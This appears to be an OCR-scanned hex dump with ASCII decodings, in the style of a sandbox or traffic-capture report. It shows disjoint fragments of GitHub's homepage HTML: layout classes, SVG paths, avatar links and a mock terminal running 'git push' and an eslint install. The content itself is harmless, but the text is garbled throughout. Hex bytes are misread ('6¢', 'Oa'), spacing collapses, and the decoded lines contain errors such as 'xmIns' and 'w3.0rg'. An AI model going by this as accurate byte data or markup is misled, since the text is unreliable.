Data Raw: 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 3c 64 69
76 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31 31 20 63 6f 6¢ 2d 73 6d 2d 31 30 20 6f 66 66 73 65 74 2d 31 22 3e Oa 20 20 20
202020 20 20 3c 75 6¢ 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 67 69 74 2d 6¢ 6f 67 2d 64 61 72 6b 20 64 2d 66 6C 65
782067 7574 74 65 72 20 67 75 74 74 65 72 2d 73 70 61 63 69 6f 75 73 20 66 6¢ 65 78 2d 63 6f 6¢ 75 6d 6e 20 6¢ 69
7374 2d 73 74 79 6¢ 65 2d 6e 6f 6e 65 20 70 62 2d 35 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 6¢ 69 20 63 6¢ 61 73 7
33d 22 63 6f 6¢ 2d 31 32 20 63 6f 6¢ 2d 6d 64 2d 39 20 63 6f 6¢ 2d 6¢ 67 2d 36 20 6d 74 2d 6e 33 20 70 62 2d 34 22 3e
0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 78 6d 6¢ 6e

Data Ascii: </div>  </div>  <div class="col-11 col-sm-10 offset-1"> <ul class="home-git-log-dark d-flex gutter
gutter-spacious flex-column list-style-none pb-5"> <li class="col-12 col-md-9 col-lg-6 mt-n3 pb-4"> <svg xmin

Data Raw: 2e 35 31 32 35 36 20 35 2e 39 32 36 37 38 20 33 2e 39 38 37 34 34 20 36 2e 32 31 39 36 37 20 34 2e 32 38
30 33 33 4c¢ 37 2e 32 38 30 33 33 20 33 2e 32 31 39 36 37 5a 4d 31 31 20 38 4c 31 31 2e 35 33 30 33 20 38 2e 35 33 30
333343 31 31 2e 38 32 33 32 20 38 2e 32 33 37 34 34 20 31 31 2e 38 32 33 32 20 37 2e 37 36 32 35 36 20 31 31 2e 35
33 30 33 20 37 2e 34 36 39 36 37 4c 31 31 20 38 5a 4d 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 43 35 2e 39 32 36
37 38 20 31 32 2e 30 31 32 36 20 35 2e 39 32 36 37 38 20 31 32 2e 34 38 37 34 20 36 2e 32 31 39 36 37 20 31 32 2e 37
38 30 33 43 36 2e 35 31 32 35 36 20 31 33 2e 30 37 33 32 20 36 2e 39 38 37 34 34 20 31 33 2e 30 37 33 32 20 37 2e 32
38 30 33 33 20 31 32 2e 37 38 30 33 4c 36 2e 32 31 39 36 37 20 31 31 2e 37

Data Ascii: .51256 5.92678 3.98744 6.21967 4.28033L7.28033 3.21967ZM11 8L.11.5303 8.53033C11.8232 8.23744
11.8232 7.76256 11.5303 7.46967L11 8ZM6.21967 11.7197C5.92678 12.0126 5.92678 12.4874 6.21967 12.7803C6.5
1256 13.0732 6.98744 13.0732 7.28033 12.7803L6.21967 11.7

Data Raw: 2e 31 63 2e 32 2e 32 2e 34 2e 33 2e 36 2e 33 73 2e 35 2d 2e 31 2e 36 2d 2e 32 63 2e 32 2d 2e 32 2e 33 2d
2e 34 2e 33 2d 2e 36 2d 2e 31 2d 2e 33 2d 2e 32 2d 2e 35 2d 2e 33 2d 2e 36 7a 22 3e 3c 2f 70 61 74 68 3e 3c 2f 67 3e
3c 2f 73 76 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 2274 65 78 74 2d 74 7
275 6e 6361 74 65 22 3e 3c 73 74 72 6f 6e 67 20 63 6¢ 61 73 73 3d 22 74 65 78 74 2d 62 6f 6¢ 64 20 63 6f 6¢ 6f 72 2d 6
667 2d 64 65 66 61 75 6¢ 74 22 3e 6a 61 73 6f 6e 65 74 63 6f 3c 2f 73 74 72 6f 6e 67 3e 20 61 64 64 65 64 20 73 6f 6d 6
520 63 6f 6d 6d 69 74 73 20 38 20 6d 69 6e 75 74 65 73 20 61 67 6f 3¢ 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20
20 3c 2f 6¢ 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 3c 6¢ 69 20

Data Ascii: .1¢.2.2.4.3.6.3s.5-.1.6-.2c.2-.2.3-.4.3-.6-.1-.3-.2-.5-.3-.62"></path></g></svg> <span class="text-
truncate"><strong class="text-bold color-fg-default">jasonetco</strong> added some commits 8 minutes ago</span>

</li> <li
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Data

Data Raw: 62 6f 78 2d 73 68 61 64 6f 77 2d 64 65 66 61 75 6¢ 74 2d 6d 6b 74 67 20 70 6f 73 69 74 69 6f 6e 2d 61 62 73
6f 6¢ 75 74 65 20 7a 2d 31 20 74 6f 70 2d 30 20 6¢ 65 66 74 2d 30 20 72 69 67 68 74 2d 30 20 62 6f 78 2d 73 68 61 64 6f
77 2d 61 63 74 69 76 65 2d 62 6 72 64 65 72 2d 6¢ 69 67 68 74 2d 6d 6b 74 67 20 6a 73 2d 62 75 69 6C 64 2d 69 6e 2d
69 74 65 6d 22 20 73 74 79 6¢ 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 3b 22 3e 0a 20 20 20 20 20 20 20 20 20 20
2020 20 20 3c 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 7
263736574 3d22 68 747470 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69
6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d

Data Ascii: box-shadow-default-mktg position-absolute z-1 top-0 left-0 right-0 box-shadow-active-border-light-mktg js-build-
in-item" style="font-size: 0;"> <picture> <source srcset="https://github.githubassets.com/images/m
odules/site/hom

Data Raw: 72 2d 31 22 20 6c 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 20 64 65 63 6f 64 69 6e 67 3d 22 61 73 79 6e 63 22
2077 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76
3e 6173 73 65 74 73 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a Oa 20 20 20 20 20 20 20 20 3c
64 69 76 20 63 6¢ 61 73 73 3d 22 6f 70 61 63 69 74 79 2d 34 20 64 2d 66 6¢ 65 78 20 70 79 2d 31 20 70 78 2d 34 22 3e O
a 2020 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68
7562 61 7373 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 69 63 6f
6e 73 2f 66 6f 6¢ 64 65 72 2e 73 76 67 22 20 61 6¢ 74 3d 22 46

Data Ascii: r-1" loading="lazy" decoding="async" width="16" height="16"> <div>assets</div> </div> <div
class="opacity-4 d-flex py-1 px-4"> <img src="https://github.githubassets.com/images/modules/site/home/ic
ons/folder.svg" alt="F

Data Raw: 68 65 69 67 68 74 3d 22 31 36 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 70 61 63 6b 61 67 65
2e 6a 73 6f 6e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa
20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31 32 20 63 6f 6¢ 2d 6¢ 67
2d 39 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73
3d 22 64 2d 66 6¢ 65 78 20 68 6f 6d 65 2d 72 65 70 6f 2d 65 64 69 74 6f 72 2d 74 61 62 73 22 3e Oa 20 20 20 20 20 20 20
20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 72 65 70 6f 2d 65 64 69 74 6f 72 2d 74 61 62 2d 2d 61 63 74 69 76
65 20 63 6f 6¢ 6f 72 2d 74 65 78 74 2d 77 68 69 74 65 20 64 2d

Data Ascii: height="16"> <div>package.json</div> </div>  </div> </div> <div class="col-12 col-Ig-9 posit
ion-relative">  <div class="d-flex home-repo-editor-tabs"> <div class="home-repo-editor-tab--active color-text-

white d-

Data Raw: 20 20 20 20 20 20 36 0a 20 20 20 20 20 20 20 20 20 20 37 0a 20 20 20 20 20 20 20 20 20 20 38 0a 20 20 20
202020 20 20 20 20 39 0a 20 20 20 20 20 20 20 20 20 20 31 30 0a 20 20 20 20 20 20 20 20 20 20 31 31 0a 20 20 20 20
2020 20 20 20 20 31 32 0a 20 20 20 20 20 20 20 20 20 20 31 33 0a 20 20 20 20 20 20 20 20 20 20 31 34 0a 20 20 20 20
2020 20 20 20 20 31 35 0a 20 20 20 20 20 20 20 20 20 20 31 36 0a 20 20 20 20 20 20 20 20 20 20 31 37 Oa 20 20 20 20
2020 20 20 20 20 31 38 0a 20 20 20 20 20 20 20 20 20 20 31 39 0a 20 20 20 20 20 20 20 20 20 20 32 30 0a 20 20 20 20
2020 20 20 20 20 32 31 0a 20 20 20 20 20 20 20 20 20 20 32 32 0a 20 20 20 20 20 20 20 20 20 20 32 33 0a 20 20 20 20
20 20 20 20 20 20 32 34 0a 20 20 20 20 20 20 20 20 20 20 32 35 0a 20 20 20

Data Ascii: 6 7 8 © 10 11 12 13 14 {115 16 17

18 19 20 21 22 23 24 25

Data Raw: 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6d 65 2d 72 65 70 6f 2d 65 64 69 74 6f 72 2d 74
65 72 6d 69 6e 61 6¢ 20 70 2d 33 20 70 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 72 69 67 68 74 2d 30 20 62 6f
74 74 6f 6d 2d 30 20 6¢ 65 66 74 2d 30 22 20 73 74 79 6¢ 65 3d 22 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68
742d 72 61 64 69 75 73 3a 20 30 2e 33 37 35 72 65 6d 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 68 65 69 67
68 74 3d 22 31 36 22 20 63 6¢ 61 73 73 3d 22 6f 63 74 69 63 6f 6e 20 6f 63 74 69 63 6f 6e 2d 78 20 74 65 78 74 2d 67 72
61 79 2d 6¢ 69 67 68 74 2d 6d 6b 74 67 20 70 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 72 69 67 68 74 2d 33 20
74 6f 70 2d 33 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20

Data Ascii: <div class="home-repo-editor-terminal p-3 position-absolute right-0 bottom-0 left-0" style="border-bottom-
right-radius: 0.375rem;"> <svg height="16" class="octicon octicon-x text-gray-light-mktg position-absolute right-3 top-
3" viewBox="0 0

Data Raw: 20 20 20 20 3¢ 73 70 61 6e 3e c2 a0 3c 2f 73 70 61 6e 3e Oa 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa Oa Oa 20
2020 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6a 73 2d 74 79 70 65 2d 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20
2020 3c 73 74 72 6f 6e 67 20 63 6¢ 61 73 73 3d 22 63 6f 64 65 2d 70 69 6e 6b 22 3e e2 86 92 3¢ 2f 73 74 72 6f 6e 67 3e
0a 20 20 20 20 20 20 20 20 20 20 3c 73 74 72 6f 6e 67 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 66 67 2d 73 75 63 63 65
737322 3e 7e 2f 6f 63 74 6f 63 61 74 2d 63 6¢ 61 73 73 69 66 69 65 72 3c 2f 73 74 72 6f 6e 67 3e 0a 0a 20 20 20 20 20
202020 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 6a 73 2d 74 79 70 65 2d 6¢ 65 74 74 65 72 73 22 3e 24 20 67 69 74 20
70 75 73 68 20 6f 72 69 67 69 6e 20 6d 61 69 6e 3c 2f 73 70 61

Data Ascii:  <span></span>  </div>  <div class="js-type-row"> <strong class="code-pink"></strong>

<strong class="color-fg-success">~/octocat-classifier</strong> <span class="js-type-letters">$ git push origin main<
Ispa

Data Raw: 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 69 74 68 75 62 75 73
65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 6a 61 73 6f 6e 65 74 63 6f 3f 73 3d 36 34 26 61 6d 70 3b 76 3d 34 22 20 63 6¢
61 73 73 3d 22 64 2d 6e 6f 6e 65 20 64 2d 73 6d 2d 62 6c 6f 63 6b 20 66 6¢ 65 78 2d 73 68 72 69 6€ 6b 2d 30 20 6f 70
616369 74 79 2d 34 20 61 76 61 74 61 72 20 61 76 61 74 61 72 2d 34 20 6d 72 2d 33 20 63 69 72 63 6¢C 65 20 63 6f 6C
6f 72 2d 62 67 2d 73 75 62 74 6¢ 65 22 20 61 6¢ 74 3d 22 40 6a 61 73 6f 6€ 65 74 63 6f 22 20 6¢ 6f 61 64 69 6€ 67 3d 22
6c 61 7a 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 6f 70 61 63 69 74 79
2d 34 20 74 65 78 74 2d 74 72 75 6e 63 61 74 65 22 3e 53 75 70 70

Data Ascii: <img src="https://avatars.githubusercontent.com/jasonetco?s=64&amp;v=4" class="d-none d-sm-block flex-
shrink-0 opacity-4 avatar avatar-4 mr-3 circle color-bg-subtle" alt="@jasonetco" loading="lazy"> <span class="opa
city-4 text-truncate">Supp

Data Raw: 6e 2d 73 6¢ 69 64 65 58 2d 6¢ 65 66 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32
2063 6¢ 61 73 73 3d 22 68 33 2d 6d 6b 74 67 20 63 6f 6¢ 6f 72 2d 66 67 2d 64 65 66 61 75 6¢ 74 20 6d 62 2d 33 20 74
65 78 74 2d 67 72 61 64 69 65 6e 74 2d 6d 69 6e 74 2d 62 6¢ 75 65 2d 64 61 72 6b 22 3e 20 42 75 69 6¢ 64 20 6f 6e 20
7768 61 74 26 23 33 39 3b 73 20 62 65 65 6e 20 62 75 69 6¢ 74 20 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 3c 68 33 20 63 6¢ 61 73 73 3d 22 66 32 2d 6d 6b 74 67 20 74 65 78 74 2d 67 72 61 79 2d 6¢ 69 67 68 74
2d 6d 6b 74 67 20 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 6d 62 2d 33 22 3e
0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3¢ 73 70 61 6e 20

Data Ascii: n-slideX-left"> <h2 class="h3-mktg color-fg-default mb-3 text-gradient-mint-blue-dark"> Build on
what&#39;s been built </h2> <h3 class="f2-mktg text-gray-light-mktg Ih-condensed text-semibold mb-3">
<span
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Data

Data Raw: 64 69 76 20 63 6¢ 61 73 73 3d 22 6a 73 2d 74 79 70 65 2d 72 6f 77 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73
7061 6e 3e 2b 20 65 73 6¢ 69 6e 74 40 37 2e 38 2e 31 3c 2f 73 70 61 6e 3e Oa 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa
0a 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6a 73 2d 74 79 70 65 2d 72 6f 77 22 3e 0a Oa 20 20 20 20
202020 20 3c 73 70 61 6e 3e c2 a0 c2 a0 61 64 64 65 64 20 31 30 39 20 70 61 63 6b 61 67 65 73 20 66 72 6f 6d 20 36 3
420 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 61 6e 64 20 61 75 64 69 74 65 64 20 31 30 39 20 70 61 63 6b 61 67 65 73 20
69 6e 20 33 2e 34 39 31 73 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa Oa Oa 20 20 20 20 20 20 3c
64 69 76 20 63 6¢ 61 73 73 3d 22 6a 73 2d 74 79 70 65 2d 72 6f 77 22

Data Ascii: div class="js-type-row"> <span>+ eslint@7.8.1</span>  </div>  <div class="js-type-row">
<span>added 109 packages from 64 contributors and audited 109 packages in 3.491s</span>  </div>  <div class="]
s-type-row"

Data Raw: 74 61 62 6¢ 65 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 0a 20 20 20 20 20 20 20 20
202020 20 3c 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73
76 67 22 20 66 69 6¢ 6¢ 3d 22 6e 6f 6e 65 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 32 38 22 20
61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 67 69 74 2d 69 63 6f 6e 2
068 6f 6d 65 2d 67 69 74 2d 69 74 65 6d 20 66 6¢ 65 78 2d 73 68 72 69 6e 6b 2d 30 20 6d 72 2d 33 20 70 6f 73 69 74 69
6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 31 22 3e 3c 70 61 74 68 20 64 3d 22 6d 32 2e 35 20 31 30 61 31 20 31 20 30
2031 20 30 20 30 20 32 7a 6d 32 33 20 32 61 31 20 31 20 30 20 31 20

Data Ascii: table" aria-hidden="true"> <svg xmIns="http://www.w3.0rg/2000/svg" fill="none" height="22" width="28"
aria-hidden="true" class="home-git-icon home-git-item flex-shrink-0 mr-3 position-relative z-1"><path d="m2.5 10a1 1 0 1
002zm232a1101

Data Raw: 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76
67 22 20 66 69 6¢ 6¢ 3d 22 6e 6f 6e 65 22 20 68 65 69 67 68 74 3d 22 32 36 22 20 77 69 64 74 68 3d 22 32 38 22 20 63
6c 61 73 73 3d 22 66 6¢ 65 78 2d 73 68 72 69 6e 6b 2d 30 20 6d 72 2d 33 22 3e 3¢ 70 61 74 68 20 64 3d 22 6d 30 20 30
68 32 38 76 32 36 68 2d 32 38 7a 22 20 66 69 6¢ 6¢ 3d 22 23 66 66 66 22 3e 3c 2f 70 61 74 68 3e 3c 67 20 66 69 6¢ 6¢ 3
d 22 23 383339 32 61 64 22 3e 3¢ 70 61 74 68 20 64 3d 22 6d 31 31 2e 32 35 20 31 33 61 2e 37 35 2e 37 35 20 30 20
3020 31 20 2d 2e 32 32 2e 35 33 6¢ 2d 32 2e 37 35 20 32 2e 37 35 61 2e 37 35 2e 37 35 20 30 20 30 20 31 20 2d 31 2e
30 36 2d 31 2e 30 36 6¢ 32 2e 32 32 2d 32 2e 32 32 2d 32 2e 32 32 2d 32

Data Ascii: svg xmlIns="http://www.w3.0rg/2000/svg" fill="none" height="26" width="28" class="flex-shrink-0 mr-3"><path d
="m0 0h28v26h-28z" fill="#fff"></path><g fill="#8392ad"><path d="m11.25 13a.75.75 0 0 1 -.22.53-2.75 2.75a.75.75 0 0
1-1.06-1.0612.22-2.22-2.22-2

Data Raw: 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 66 69 6¢ 6¢ 3d 22 6e 6f 6e 65 22 20 68 65 69 67 68 74
3d 22 323022 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 38 20 32 30 22 20 77 69 64 74 68 3d 22 32 38 22 20 63 6¢
61 73 73 3d 22 68 6f 6d 65 2d 67 69 74 2d 69 63 6f 6e 20 68 6f 6d 65 2d 67 69 74 2d 69 74 65 6d 20 66 6¢ 65 78 2d 73 68
72 69 6e 6b 2d 30 20 6d 72 2d 33 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 31 22 3e 3¢ 63 69 72
63 6¢ 65 20 63 78 3d 22 31 34 22 20 63 79 3d 22 31 30 22 20 66 69 6¢ 6¢ 3d 22 23 66 66 66 22 20 72 3d 22 35 22 20 73
74 72 6f 6b 65 3d 22 23 64 30 64 36 64 66 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 3e 3c 2f 63 69 72 63 6¢
65 3e 3c 2f 73 76 67 3e Oa Oa Oa 20 20 20 20 20 20 20 20 20 20 20

Data Ascii: .w3.0rg/2000/svg" fill="none" height="20" viewBox="0 0 28 20" width="28" class="home-git-icon home-git-item
flex-shrink-0 mr-3 position-relative z-1"><circle cx="14" cy="10" fill="#fff" r="5" stroke="#d0d6df" stroke-width="2"></circle>
</svg>

Data Raw: 22 20 77 69 64 74 68 3d 22 33 32 22 20 68 65 69 67 68 74 3d 22 33 32 22 20 61 6¢ 74 3d 22 40 61 6d 70 69
6e 73 6b 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6
74 65 6e 74 2e 63 6f 6d 2f 61 6d 70 69 6e 73 6b 3f 73 3d 36 34 26 61 6d 70 3b 76 3d 34 22 20 6¢ 6f 61 64 69 6e 67 3d 22
6c 61 7a 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6¢ 61 73 73 3d 22 66 6C
6f 61 74 2d 6¢ 65 66 74 20 63 69 72 63 6¢ 65 20 6d 6¢ 2d 6e 33 20 62 6f 72 64 65 72 20 75 6e 73 65 6¢ 65 63 74 61 62
6c 65 22 20 77 69 64 74 68 3d 22 33 32 22 20 68 65 69 67 68 74 3d 22 33 32 22 20 61 6¢ 74 3d 22 40 6a 6f 73 68 61 62
657222207372633d2268747470733a2f2f61766174617273

Data Ascii: " width="32" height="32" alt="@ampinsk" src="https://avatars.githubusercontent.com/ampinsk?s=64&amp;v=4"
loading="lazy"> <img class="float-left circle ml-n3 border unselectable” width="32" height="32" alt="@josh
aber" src="https://avatars

Data Raw: 37 2e 34 36 39 36 37 4c 31 31 20 38 5a 4d 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 43 35 2e 39 32 36
37 3820 31 32 2e 30 31 32 36 20 35 2e 39 32 36 37 38 20 31 32 2e 34 38 37 34 20 36 2e 32 31 39 36 37 20 31 32 2e 37
38 30 33 43 36 2e 35 31 32 35 36 20 31 33 2e 30 37 33 32 20 36 2e 39 38 37 34 34 20 31 33 2e 30 37 33 32 20 37 2e 32
38 30 33 33 20 31 32 2e 37 38 30 33 4¢ 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 5a 4d 36 2e 32 31 39 36 37 20 34
2e 32 38 30 33 33 4¢ 31 30 2e 34 36 39 37 20 38 2e 35 33 30 33 33 4¢ 31 31 2e 35 33 30 33 20 37 2e 34 36 39 36 37 4c
37 2e 32 38 30 33 33 20 33 2e 32 31 39 36 37 4c 36 2e 32 31 39 36 37 20 34 2e 32 38 30 33 33 5a 4d 31 30 2e 34 36 39
37 20 37 2e 34 36 39 36 37 4c 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37

Data Ascii: 7.46967L11 8ZM6.21967 11.7197C5.92678 12.0126 5.92678 12.4874 6.21967 12.7803C6.51256 13.0732
6.98744 13.0732 7.28033 12.7803L6.21967 11.7197ZM6.21967 4.28033L.10.4697 8.53033L11.5303 7.46967L.7.28033
3.21967L6.21967 4.28033ZM10.4697 7.469671.6.21967 11.7197

Data Raw: 2d 31 31 20 63 6f 6¢ 2d 73 6d 2d 31 30 20 63 6f 6¢ 2d 6¢ 67 2d 31 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 64 2d 66 6¢ 65 78 20 66 6¢ 65 78 2d 63 6f 6¢ 75 6d 6€ 20 66 6C
65 78 2d 6¢ 67 2d 72 6f 77 20 66 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 75 74 74 65 72 20 67 75 74 74
6572 2d 73 70 61 63 69 6f 75 73 22 20 73 74 79 6¢ 65 3d 22 70 61 64 64 69 6e 67 3a 20 38 25 20 30 20 31 30 2e 35 25
22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31 32
20 63 6f 6¢ 2d 6¢ 67 2d 35 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3¢ 73 76 67 20 78 6d
6¢C 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32

Data Ascii: -11 col-sm-10 col-lg-12"> <div class="d-flex flex-column flex-Ig-row flex-items-center gutter gutter-sp
acious" style="padding: 8% 0 10.5%"> <div class="col-12 col-lg-5"> <svg xmlns="http://www.w3.0
rg/2

Data Raw: 22 20 77 69 64 74 68 3d 22 39 38 30 22 20 68 65 69 67 68 74 3d 22 34 33 34 22 3e 0a 20 20 20 20 20 20 20
20 2020 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa 2
020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6¢
69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6¢ 69 20 63 6¢ 61 73 73 3d 22 6a 73 2d 62 75 69 6¢ 64 2d 69
6e 2d 74 72 69 67 67 65 72 20 63 6f 6¢ 2d 31 31 20 63 6f 6¢ 2d 73 6d 2d 31 30 20 63 6f 6¢ 2d 6¢ 67 2d 31 32 22 3e Oa
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61
Data Ascii: " width="980" height="434"> <[picture> </div> </div> </div>

</li> <li class="js-build-in-trigger col-11 col-sm-10 col-Ig-12"> <div cla
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Data

Data Raw: 3d 22 69 6d 61 67 65 2f 77 65 62 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65
74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 70 72 2d 63 6f 6d 6d 65 6e
74 2e 70 6e 67 22 20 63 6¢ 61 73 73 3d 22 77 69 64 74 68 2d 66 75 6¢ 6C 20 68 65 69 67 68 74 2d 61 75 74 6f 22 20 61
6¢ 74 3d 22 50 75 6¢ 6¢ 20 72 65 71 75 65 73 74 20 63 6f 6d 6d 65 6e 74 20 6f 6e 20 47 69 74 48 75 62 22 20 6¢ 6f 61 64
69 6e 67 3d 22 6¢ 61 7a 79 22 20 64 65 63 6f 64 69 6e 67 3d 22 61 73 79 6e 63 22 20 77 69 64 74 68 3d 22 39 38 30 22
20 68 65 69 67 68 74 3d 22 39 34 30 22 3e 0a 20 20 20 20 20 20 20

Data Ascii: ="image/webp"> <img src="https://github.githubassets.com/images/modules/site/home/pr-
comment.png"” class="width-full height-auto" alt="Pull request comment on GitHub" loading="lazy" decoding="async"
width="980" height="940">

Data Raw: 6a 73 2d 62 75 69 6¢ 64 2d 69 6e 2d 69 74 65 6d 20 68 6f 6d 65 2d 70 72 2d 6d 65 72 67 65 20 72 6f 75 6e 64
65 64 2d 32 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 32 22 3e Oa 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20 20 20 20 20 3c 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 73 65 74 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 6
97468 7562 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f
70 72 2d 6d 65 72 67 65 2e 77 65 62 70 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 77 65 62 70 22 3e Oa 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d

Data Ascii: js-build-in-item home-pr-merge rounded-2 position-relative z-2"> <picture>
<source srcset="https://github.githubassets.com/images/modules/site/home/pr-merge.webp" type="image/webp">
<im

